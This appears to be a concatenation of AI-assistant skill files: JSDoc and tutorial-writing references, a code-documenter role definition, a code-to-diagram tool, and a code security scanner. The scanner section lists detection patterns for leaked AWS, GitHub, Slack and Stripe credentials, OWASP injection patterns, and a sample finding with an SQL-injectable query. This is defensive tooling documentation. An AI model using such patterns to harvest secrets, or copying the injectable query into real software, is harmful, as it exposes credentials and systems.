resolving to user data or null if not found\n * @throws {DatabaseError} If connection fails\n *\n * @async\n */\nasync function findUserById(id: string): Promise<User | null> {\n```\n\n## Quick Reference\n\n| Tag           | Purpose               | Example                      |\n| ------------- | --------------------- | ---------------------------- |\n| `@param`      | Parameter description | `@param name - User's name`  |\n| `@returns`    | Return value          | `@returns User object`       |\n| `@throws`     | Exception thrown      | `@throws {Error} If invalid` |\n| `@example`    | Usage example         | Code block                   |\n| `@see`        | Reference link        | `@see UserService`           |\n| `@deprecated` | Mark deprecated       | `@deprecated Use v2 instead` |\n| `@template`   | Generic type param    | `@template T - Item type`    |\n| `@async`      | Async function        | Mark async                   |\n| `@private`    | Private member        | Internal use                 |\n| `@readonly`   | Read-only property    | Cannot modify                |\n\n## Common Patterns\n\n```typescript\n// Optional parameters\n/** @param [options] - Optional configuration */\n\n// Default values\n/** @param [limit=10] - Items per page (default: 10) */\n\n// Multiple types\n/** @param input - Input value (string or number) */\n\n// Callback parameters\n/**\n * @callback FilterFn\n * @param item - Item to filter\n * @returns Whether item passes filter\n */\n```\n\n<!-- File: skills/code-documenter/references/user-guides-tutorials.md (Tokens: ~2807 | Category: anthropic-skill) -->\n# User Guides & Tutorials\n\n## Tutorial Structure\n\n### Progressive Learning Path\n\n````markdown\n# Getting Started with API\n\n## Prerequisites\n\nBefore you begin, ensure you have:\n\n- [ ] Node.js 18+ installed\n- [ ] An API key from your dashboard\n- [ ] Basic knowledge of REST APIs\n\n## Quick Start (5 minutes)\n\n### 1. Install the SDK\n\n```bash\nnpm install @myapi/sdk\n```\n````\n\n### 2. Create Your First Request\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: \"your_key\" })\nconst users = await client.users.list()\nconsole.log(users)\n```\n\n### 3. Verify It Works\n\nRun the code and you should see a list of users.\n\n**Expected output:**\n\n```json\n{\n  \"data\": [\n    { \"id\": \"1\", \"name\": \"Alice\" },\n    { \"id\": \"2\", \"name\": \"Bob\" }\n  ],\n  \"total\": 2\n}\n```\n\n## Next Steps\n\n- [Authentication Guide](/docs/auth) - Learn about OAuth and API keys\n- [Advanced Queries](/docs/queries) - Filtering, sorting, pagination\n- [Error Handling](/docs/errors) - Handle errors gracefully\n\n````\n\n### Step-by-Step Tutorial\n\n```markdown\n# Tutorial: Building a User Dashboard\n\n**What you'll learn:**\n- Fetching user data from the API\n- Handling pagination\n- Displaying data in a table\n- Adding real-time updates\n\n**Time:** 30 minutes\n**Level:** Intermediate\n\n## Step 1: Set Up the Project\n\nCreate a new project:\n```bash\nmkdir user-dashboard\ncd user-dashboard\nnpm init -y\nnpm install @myapi/sdk react\n````\n\n## Step 2: Fetch Users\n\nCreate `src/api/users.ts`:\n\n```typescript\nimport { Client } from \"@myapi/sdk\"\n\nconst client = new Client({ apiKey: process.env.API_KEY })\n\nexport async function getUsers(page = 1, limit = 20) {\n  const response = await client.users.list({ page, limit })\n  return response\n}\n```\n\n**What's happening:**\n\n1. We import the SDK client\n2. Initialize it with our API key from environment\n3. Create a helper function that fetches paginated users\n\n## Step 3: Create the Component\n\nCreate `src/components/UserTable.tsx`:\n\n```typescript\nimport { useState, useEffect } from 'react';\nimport { getUsers } from '../api/users';\n\nexport function UserTable() {\n  const [users, setUsers] = useState([]);\n  const [loading, setLoading] = useState(true);\n\n  useEffect(() => {\n    async function fetchData() {\n      const data = await getUsers();\n      setUsers(data.data);\n      setLoading(false);\n    }\n    fetchData();\n  }, []);\n\n  if (loading) return <div>Loading...</div>;\n\n  return (\n    <table>\n      <thead>\n        <tr>\n          <th>Name</th>\n          <th>Email</th>\n        </tr>\n      </thead>\n      <tbody>\n        {users.map(user => (\n          <tr key={user.id}>\n            <td>{user.name}</td>\n            <td>{user.email}</td>\n          </tr>\n        ))}\n      </tbody>\n    </table>\n  );\n}\n```\n\n## Step 4: Test It\n\nRun your app:\n\n```bash\nnpm run dev\n```\n\nYou should see a table with user data.\n\n## Checkpoint\n\nAt this point, you have:\n\n- [x] Set up the SDK\n- [x] Created an API helper\n- [x] Built a user table component\n- [ ] Added pagination\n- [ ] Added real-time updates\n\n## Next: Adding Pagination\n\n[Continue to Step 5 →](/docs/tutorial/step-5)\n\n````\n\n## Information Architecture\n\n### Content Hierarchy\n\n```markdown\nDocumentation/\n├── Getting Started/\n│   ├── Quick Start (5 min)\n│   ├── Installation\n│   ├── Authentication\n│   └── First Request\n│\n├── Guides/\n│   ├── User Management\n│   ├── File Uploads\n│   ├── Webhooks\n│   └── Rate Limiting\n│\n├── API Reference/\n│   ├── Users API\n│   ├── Files API\n│   └── Webhooks API\n│\n├── SDK Documentation/\n│   ├── Python SDK\n│   ├── TypeScript SDK\n│   └── Go SDK\n│\n├── Tutorials/\n│   ├── Build a Dashboard (30 min)\n│   ├── Integrate Authentication (45 min)\n│   └── Real-time Sync (60 min)\n│\n└── Resources/\n    ├── Troubleshooting\n    ├── FAQ\n    ├── Best Practices\n    └── Migration Guides\n````\n\n## Writing Techniques\n\n### Task-Based Writing\n\n````markdown\n# How to Upload a File\n\n**Goal:** Upload an image file to your account storage\n\n**Time:** 5 minutes\n\n## Steps\n\n### 1. Prepare the file\n\nGet the file from user input or file system:\n\n```typescript\nconst file = document.querySelector('input[type=\"file\"]').files[0]\n```\n````\n\n### 2. Create form data\n\n```typescript\nconst formData = new FormData()\nformData.append(\"file\", file)\nformData.append(\"folder\", \"avatars\")\n```\n\n### 3. Upload with the SDK\n\n```typescript\nconst result = await client.files.upload(formData)\nconsole.log(\"File URL:\", result.url)\n```\n\n## Common Issues\n\n**\"File too large\" error:**\nMaximum file size is 10MB. Compress images before uploading.\n\n**\"Invalid file type\" error:**\nOnly .jpg, .png, .gif are allowed. Check the file extension.\n\n## Related\n\n- [File API Reference](/api/files)\n- [Handling Upload Progress](/guides/upload-progress)\n\n````\n\n### Progressive Disclosure\n\n```markdown\n# Authentication\n\n## Basic: API Keys (Recommended for Getting Started)\n\nAPI keys are the simplest way to authenticate.\n\n```typescript\nconst client = new Client({ apiKey: 'your_key' });\n````\n\n**When to use:** Scripts, internal tools, testing\n\n[Generate an API key →](/dashboard/api-keys)\n\n<details>\n<summary>Advanced: OAuth 2.0</summary>\n\nFor user-facing applications, use OAuth 2.0.\n\n### Authorization Code Flow\n\n1. Redirect user to authorization URL:\n\n```typescript\nconst authUrl = client.oauth.getAuthUrl({\n  redirectUri: \"https://yourapp.com/callback\",\n  scopes: [\"read:users\", \"write:users\"],\n})\nwindow.location.href = authUrl\n```\n\n2. Handle the callback:\n\n```typescript\nconst code = new URLSearchParams(window.location.search).get(\"code\")\nconst tokens = await client.oauth.exchangeCode(code)\n```\n\n3. Use the access token:\n\n```typescript\nconst client = new Client({ accessToken: tokens.access_token })\n```\n\n[Full OAuth guide →](/guides/oauth)\n\n</details>\n\n<details>\n<summary>Enterprise: JWT Tokens</summary>\n\nFor service-to-service authentication, use JWTs.\n\n```typescript\nconst jwt = createJWT({\n  issuer: \"your-service\",\n  subject: \"service-account-id\",\n  privateKey: process.env.PRIVATE_KEY,\n})\n\nconst client = new Client({ jwt })\n```\n\n[JWT setup guide →](/guides/jwt)\n\n</details>\n```\n\n## Visual Communication\n\n### Diagram Integration\n\n````markdown\n# System Architecture\n\n## Request Flow\n\n```mermaid\nsequenceDiagram\n    participant Client\n    participant API\n    participant Database\n    participant Cache\n\n    Client->>API: POST /users\n    API->>Cache: Check cache\n    Cache-->>API: Cache miss\n    API->>Database: Insert user\n    Database-->>API: User created\n    API->>Cache: Store user\n    API-->>Client: 201 Created\n```\n````\n\n## Data Model\n\n```mermaid\nerDiagram\n    USER ||--o{ POST : creates\n    USER ||--o{ COMMENT : writes\n    POST ||--o{ COMMENT : has\n\n    USER {\n        string id PK\n        string email UK\n        string name\n        datetime created_at\n    }\n\n    POST {\n        string id PK\n        string user_id FK\n        string title\n        text content\n    }\n```\n\n````\n\n### Screenshot Annotations\n\n```markdown\n# Dashboard Overview\n\n![Dashboard with numbered annotations](./images/dashboard-annotated.png)\n\n**Key features:**\n\n1. **Navigation** - Switch between sections\n2. **API Key** - Copy your key (click to reveal)\n3. **Usage Stats** - Current month's API calls\n4. **Quick Actions** - Generate new key, view docs\n5. **Recent Activity** - Last 10 API requests\n\n## Creating Your First API Key\n\n1. Click \"Generate New Key\" (highlighted in green)\n2. Enter a description like \"Production API\"\n3. Select permissions (default: all)\n4. Click \"Create\"\n5. **Important:** Copy the key immediately - it won't be shown again\n\n![Create API key dialog](./images/create-key.png)\n````\n\n## Troubleshooting Guides\n\n### Problem-Solution Format\n\n````markdown\n# Troubleshooting\n\n## Authentication Errors\n\n### \"Invalid API key\"\n\n**Symptoms:**\n\n- 401 Unauthorized error\n- Error message: \"Invalid API key\"\n\n**Causes:**\n\n1. API key was copied incorrectly (extra spaces)\n2. API key was revoked\n3. Using test key in production environment\n\n**Solutions:**\n\n**1. Verify the key:**\n\n```bash\n# Check for extra spaces\necho -n \"$API_KEY\" | wc -c  # Should be exactly 32 characters\n```\n````\n\n**2. Regenerate the key:**\n\n- Go to [dashboard](/dashboard)\n- Click \"Revoke & Regenerate\"\n- Update your environment variables\n\n**3. Check environment:**\n\n```typescript\nconsole.log(\"Environment:\", process.env.NODE_ENV)\nconsole.log(\"API URL:\", client.baseUrl)\n```\n\n**Still not working?**\n[Contact support](/support) with your request ID from the error response.\n\n---\n\n### \"Rate limit exceeded\"\n\n**Symptoms:**\n\n- 429 Too Many Requests error\n- Requests failing intermittently\n\n**Immediate fix:**\nWait 60 seconds and retry.\n\n**Long-term solutions:**\n\n**1. Implement exponential backoff:**\n\n```typescript\nasync function retryWithBackoff(fn, maxRetries = 3) {\n  for (let i = 0; i < maxRetries; i++) {\n    try {\n      return await fn()\n    } catch (error) {\n      if (error.status === 429 && i < maxRetries - 1) {\n        await sleep(Math.pow(2, i) * 1000)\n        continue\n      }\n      throw error\n    }\n  }\n}\n```\n\n**2. Batch requests:**\nInstead of 100 individual requests, use batch endpoints.\n\n**3. Upgrade your plan:**\n[View plans](/pricing) - Higher tiers have increased limits.\n\n````\n\n## FAQ Section\n\n```markdown\n# Frequently Asked Questions\n\n## General\n\n### What's included in the free tier?\n- 1,000 API requests/month\n- 1GB storage\n- Community support\n- All core features\n\n### How do I upgrade?\nClick \"Upgrade\" in your [dashboard](/dashboard) and select a plan.\n\n## Technical\n\n### Can I use this in production?\nYes, the API is production-ready with 99.9% SLA on paid plans.\n\n### What's the rate limit?\n- Free: 10 requests/minute\n- Pro: 100 requests/minute\n- Enterprise: Custom limits\n\n### Do you support webhooks?\nYes! See [Webhooks Guide](/guides/webhooks) for setup.\n\n### Which regions are available?\nCurrently: US East, US West, EU Central, Asia Pacific.\n\n## Billing\n\n### How does billing work?\n- Monthly subscription\n- Pay-as-you-go for overages\n- Cancel anytime\n\n### What payment methods do you accept?\nCredit card, PayPal, wire transfer (annual plans only).\n\n---\n\n**Can't find your answer?**\n- [Browse all docs](/docs)\n- [Ask the community](https://community.example.com)\n- [Contact support](/support)\n````\n\n## Quick Reference\n\n| Content Type | Best For               | Key Elements                        |\n| ------------ | ---------------------- | ----------------------------------- |\n| Quick Start  | New users (5 min)      | Prerequisites, minimal code, verify |\n| Tutorial     | Learning by doing      | Steps, checkpoints, working code    |\n| How-To Guide | Specific tasks         | Goal, steps, troubleshooting        |\n| Reference    | Looking up details     | Comprehensive, searchable           |\n| Explanation  | Understanding concepts | Why, not how                        |\n\n| Writing Principle | Technique                                |\n| ----------------- | ---------------------------------------- |\n| Clarity           | Active voice, short sentences            |\n| Scannability      | Headings, lists, code blocks             |\n| Completeness      | Prerequisites, next steps, related links |\n| Accuracy          | Test all code, version specifics         |\n\n<!-- File: skills/code-documenter/SKILL.md (Tokens: ~862 | Category: anthropic-skill) -->\n---\nname: code-documenter\ndescription: Use when adding docstrings, creating API documentation, or building documentation sites. Invoke for OpenAPI/Swagger specs, JSDoc, doc portals, tutorials, user guides.\nlicense: MIT\nmetadata:\n  author: https://github.com/Jeffallan\n  version: \"1.0.0\"\n  domain: quality\n  triggers: documentation, docstrings, OpenAPI, Swagger, JSDoc, comments, API docs, tutorials, user guides, doc site\n  role: specialist\n  scope: implementation\n  output-format: code\n  related-skills: spec-miner, fullstack-guardian, code-reviewer\n---\n\n# Code Documenter\n\nDocumentation specialist for inline documentation, API specs, documentation sites, and developer guides.\n\n## Role Definition\n\nYou are a senior technical writer with 8+ years of experience documenting software. You specialize in language-specific docstring formats, OpenAPI/Swagger specifications, interactive documentation portals, static site generation, and creating comprehensive guides that developers actually use.\n\n## When to Use This Skill\n\n- Adding docstrings to functions and classes\n- Creating OpenAPI/Swagger documentation\n- Building documentation sites (Docusaurus, MkDocs, VitePress)\n- Documenting APIs with framework-specific patterns\n- Creating interactive API portals (Swagger UI, Redoc, Stoplight)\n- Writing getting started guides and tutorials\n- Documenting multi-protocol APIs (REST, GraphQL, WebSocket, gRPC)\n- Generating documentation reports and coverage metrics\n\n## Core Workflow\n\n1. **Discover** - Ask for format preference and exclusions\n2. **Detect** - Identify language and framework\n3. **Analyze** - Find undocumented code\n4. **Document** - Apply consistent format\n5. **Report** - Generate coverage summary\n\n## Reference Guide\n\nLoad detailed guidance based on context:\n\n| Topic                   | Reference                               | Load When                                            |\n| ----------------------- | --------------------------------------- | ---------------------------------------------------- |\n| Python Docstrings       | `references/python-docstrings.md`       | Google, NumPy, Sphinx styles                         |\n| TypeScript JSDoc        | `references/typescript-jsdoc.md`        | JSDoc patterns, TypeScript                           |\n| FastAPI/Django API      | `references/api-docs-fastapi-django.md` | Python API documentation                             |\n| NestJS/Express API      | `references/api-docs-nestjs-express.md` | Node.js API documentation                            |\n| Coverage Reports        | `references/coverage-reports.md`        | Generating documentation reports                     |\n| Documentation Systems   | `references/documentation-systems.md`   | Doc sites, static generators, search, testing        |\n| Interactive API Docs    | `references/interactive-api-docs.md`    | OpenAPI 3.1, portals, GraphQL, WebSocket, gRPC, SDKs |\n| User Guides & Tutorials | `references/user-guides-tutorials.md`   | Getting started, tutorials, troubleshooting, FAQs    |\n\n## Constraints\n\n### MUST DO\n\n- Ask for format preference before starting\n- Detect framework for correct API doc strategy\n- Document all public functions/classes\n- Include parameter types and descriptions\n- Document exceptions/errors\n- Test code examples in documentation\n- Generate coverage report\n\n### MUST NOT DO\n\n- Assume docstring format without asking\n- Apply wrong API doc strategy for framework\n- Write inaccurate or untested documentation\n- Skip error documentation\n- Document obvious getters/setters verbosely\n- Create documentation that's hard to maintain\n\n## Output Formats\n\nDepending on the task, provide:\n\n1. **Code Documentation:** Documented files + coverage report\n2. **API Docs:** OpenAPI specs + portal configuration\n3. **Doc Sites:** Site configuration + content structure + build instructions\n4. **Guides/Tutorials:** Structured markdown with examples + diagrams\n\n## Knowledge Reference\n\nGoogle/NumPy/Sphinx docstrings, JSDoc, OpenAPI 3.0/3.1, AsyncAPI, gRPC/protobuf, FastAPI, Django, NestJS, Express, GraphQL, Docusaurus, MkDocs, VitePress, Swagger UI, Redoc, Stoplight\n\n<!-- File: skills/code-to-diagram/SKILL.md (Tokens: ~927 | Category: anthropic-skill) -->\n---\nname: code-to-diagram\ndescription: \"Analyze codebases and automatically generate architecture diagrams, flowcharts, and org charts. Uses AST parsing to map import dependencies for Python, JS/TS, Go, and Java, outputting Mermaid or SVG files. Triggered when users ask to visualize code architecture, understand dependencies, draw a flowchart, or create a module diagram from source code.\"\nlicense: MIT\ntype: tool\ntags: [\"visualization\", \"architecture\", \"mermaid\", \"ast\", \"diagram\"]\n---\n\n# Code to Diagram\n\nExtract import and dependency relationships from a codebase via AST parsing, and automatically generate three types of diagrams:\n\n1. **Architecture Diagram** — Module/directory-level dependency relationships\n2. **Flowchart** — File-level import call chains\n3. **Org Chart** — Directory/file hierarchy structure\n\nSupported languages: Python, JavaScript, TypeScript, Go, Java\n\nOutput formats: Mermaid text (`.mmd`) or SVG images (requires `mmdc` installed on the system)\n\n## Usage\n\n### Basic: Analyze an Entire Project\n\n```bash\npython3 scripts/analyze_codebase.py /path/to/project\n```\n\nOutputs three Mermaid diagrams to stdout and writes `.mmd` files to the current directory.\n\n### Specify Diagram Type\n\n```bash\n# Architecture diagram only\npython3 scripts/analyze_codebase.py /path/to/project --type architecture\n\n# Flowchart only\npython3 scripts/analyze_codebase.py /path/to/project --type flowchart\n\n# Org chart only\npython3 scripts/analyze_codebase.py /path/to/project --type org\n```\n\n### Specify Output Directory and Format\n\n```bash\n# Output to a specific directory\npython3 scripts/analyze_codebase.py /path/to/project --output /tmp/diagrams\n\n# Output as SVG (requires mmdc)\npython3 scripts/analyze_codebase.py /path/to/project --format svg\n\n# Output both Mermaid and SVG\npython3 scripts/analyze_codebase.py /path/to/project --format both\n```\n\n### Output JSON Analysis Results\n\n```bash\npython3 scripts/analyze_codebase.py /path/to/project --json\n```\n\n### Parameters\n\n| Parameter | Description |\n|-----------|-------------|\n| `directory` | Code directory to analyze (required) |\n| `--type, -t` | Diagram type: `architecture`, `flowchart`, `org`, `all` (default: `all`) |\n| `--output, -o` | Output directory (default: current directory) |\n| `--format, -f` | Output format: `mermaid`, `svg`, `both` (default: `mermaid`) |\n| `--max-files` | Maximum number of files to scan (default: 500) |\n| `--max-depth` | Maximum depth for org chart (default: 4) |\n| `--json` | Output analysis results in JSON format |\n\n## How It Works\n\n1. **Scan phase**: Recursively traverse the directory, skipping `node_modules`, `.git`, `__pycache__`, etc.\n2. **Parse phase**:\n   - Python files: uses the `ast` module to parse `import` and `from ... import` statements\n   - JS/TS files: uses regex to match `import`, `require`, and `export from`\n   - Go files: uses regex to match `import` statements\n   - Java files: uses regex to match `import` statements\n3. **Resolve internal dependencies**: Maps import paths to actual files within the project\n4. **Generate diagrams**: Converts dependency relationships into Mermaid diagram syntax\n5. **Render (optional)**: Calls `mmdc` (Mermaid CLI) to render `.mmd` files as SVG\n\n## Use Cases\n\n- Quickly understand the module structure of an unfamiliar project\n- Visualize dependencies during code review\n- Create architecture diagrams for technical documentation\n- Detect circular dependencies or excessive coupling\n- Analyze project structure before refactoring\n\n## Dependencies\n\n- Python 3.7+ (standard library only, no extra packages needed)\n- SVG output requires `@mermaid-js/mermaid-cli` (optional)\n\n## Notes\n\n- Only analyzes static import relationships; dynamic imports are not tracked\n- For large projects, use `--max-files` to limit the scan scope\n- Mermaid diagrams with too many nodes may be hard to render; use `--type` to generate diagrams separately\n\n<!-- File: skills/code-vuln-audit/SKILL.md (Tokens: ~1395 | Category: anthropic-skill) -->\n---\nname: code-vuln-audit\ndescription: \"Scan code for security issues: dependency vulnerabilities (npm/pip audit), secret leaks (regex and entropy analysis), and OWASP anti-patterns like SQL injection, XSS, or command injection. Use when the user mentions security scans, vulnerability detection, secret leaks, API keys, OWASP, npm audit, pip-audit, hardcoded passwords, or code security checks.\"\nlicense: MIT\n---\n\n# code-vuln-audit\n\nA code security scanning tool with three core scanning capabilities:\n\n1. **Dependency Vulnerability Scanning** — Automatically detects known vulnerabilities in npm / pip dependencies\n2. **Secret Leak Detection** — Discovers hardcoded secrets, tokens, and passwords via regex matching + Shannon entropy analysis\n3. **OWASP Pattern Detection** — Identifies common security anti-patterns such as SQL injection, XSS, command injection, and insecure deserialization\n\n## Quick Start\n\n```bash\n# Scan the current directory (all checks)\npython3 scripts/security_scan.py .\n\n# Scan dependencies only\npython3 scripts/security_scan.py --mode deps .\n\n# Detect secret leaks only\npython3 scripts/security_scan.py --mode secrets /path/to/project\n\n# Detect OWASP security patterns only\npython3 scripts/security_scan.py --mode owasp .\n\n# Output report in JSON format\npython3 scripts/security_scan.py --format json --output report.json .\n\n# Only show findings at high severity and above\npython3 scripts/security_scan.py --severity high .\n```\n\n## Scan Module Details\n\n### 1. Dependency Vulnerability Scanning (deps)\n\nAutomatically detects the project type and invokes the appropriate tool:\n\n| Project Type | Detection File | Tool Used |\n|---|---|---|\n| Node.js | `package.json` + `package-lock.json` | `npm audit` |\n| Python | `requirements.txt` / `pyproject.toml` / `Pipfile` | `pip-audit` |\n\nIf the corresponding audit tool is not installed, a helpful message is displayed instead of an error.\n\n### 2. Secret Leak Detection (secrets)\n\nDetection is performed in two ways:\n\n**Regex Matching**: Covers common secret formats\n\n| Secret Type | Example Pattern |\n|---|---|\n| AWS Access Key | 20-character string starting with `AKIA` |\n| GitHub Token | Starts with `ghp_` or `github_pat_` |\n| Slack Token | Starts with `xoxb-` or `xoxp-` |\n| Stripe Key | Starts with `sk_live_` or `pk_live_` |\n| Private Key File | `-----BEGIN PRIVATE KEY-----` |\n| Generic API Key | Format like `api_key = \"...\"` |\n| Credentials in URL | `https://user:pass@host` |\n| JWT Token | `eyJ...` format |\n\n**Shannon Entropy Analysis**: Computes information entropy for string constants in code (threshold > 4.5 and length >= 20) to discover secrets in non-standard formats.\n\n### 3. OWASP Pattern Detection (owasp)\n\nCovers statically detectable security patterns from the OWASP Top 10:\n\n| OWASP Category | Detection Patterns |\n|---|---|\n| A02: Cryptographic Failures | Weak hashes (MD5/SHA1), weak ciphers (DES/RC4) |\n| A03: Injection | SQL injection, command injection (os.system / subprocess shell / eval / exec), XSS (innerHTML / document.write / dangerouslySetInnerHTML / v-html) |\n| A04: Insecure Design | Path traversal |\n| A05: Security Misconfiguration | Debug mode enabled, CORS wildcard, binding to 0.0.0.0 |\n| A08: Integrity Failures | Insecure deserialization (pickle / yaml.load / marshal / unserialize) |\n| A10: SSRF | User input passed directly to HTTP requests |\n\nSupported languages: Python, JavaScript/TypeScript, Java, PHP, Ruby, Go, and more.\n\n## Parameters\n\n| Parameter | Description | Default |\n|---|---|---|\n| `TARGET` | Directory to scan | Current directory |\n| `--mode MODE` | Scan mode: `all`, `deps`, `secrets`, `owasp` | `all` |\n| `--format FORMAT` | Output format: `text`, `json` | `text` |\n| `--output FILE` | Output file path | stdout |\n| `--severity LEVEL` | Minimum reporting level: `low`, `medium`, `high`, `critical` | `low` |\n| `--exclude-dir DIR` | Additional directories to exclude (repeatable) | - |\n| `--max-file-kb SIZE` | Maximum file size to scan in KB | `512` |\n| `-h, --help` | Show help | - |\n\n## Output Format\n\n### Text Output (default)\n\n```\n=== Security Scan Report ===\nTarget: /path/to/project\nModules: deps, secrets, owasp\n\n[CRITICAL] AWS Access Key ID\n  File: src/config.py:15\n  Code: AWS_KEY = \"AKIAIOSFODNN7EXAMPLE\"\n\n[HIGH] SQL Injection (f-string)\n  File: src/db.py:42\n  Code: cursor.execute(f\"SELECT * FROM users WHERE id={user_id}\")\n\n--- Summary ---\nCritical: 1 | High: 1 | Medium: 0 | Low: 0\nTotal findings: 2\n```\n\n### JSON Output\n\n```json\n{\n  \"target\": \"/path/to/project\",\n  \"scan_time\": \"2026-04-14T10:30:00\",\n  \"findings\": [\n    {\n      \"scanner\": \"secrets\",\n      \"name\": \"AWS Access Key ID\",\n      \"severity\": \"critical\",\n      \"file\": \"src/config.py\",\n      \"line\": 15,\n      \"snippet\": \"AWS_KEY = \\\"AKIAIOSFODNN7EXAMPLE\\\"\",\n      \"category\": \"secret-pattern\"\n    }\n  ],\n  \"summary\": {\"critical\": 1, \"high\": 0, \"medium\": 0, \"low\": 0, \"total\": 1}\n}\n```\n\n## Exit Codes\n\n| Exit Code | Meaning |\n|---|---|\n| `0` | No findings |\n| `1` | Findings present (at least one security issue) |\n| `2` | Scanner internal error |\n\n## Prerequisites\n\n- Python 3.7+ (uses standard library only)\n- Dependency scanning requires the corresponding tools: `npm` (for Node.js projects), `pip-audit` (for Python projects)\n- If an audit tool is missing, that module will be skipped with a notice — other modules continue to run normally\n\n<!-- ... +288 more modular skills available via /api/skills/zebbern/claude-code-guide?path={path} -->\n</yakaai_skills>"}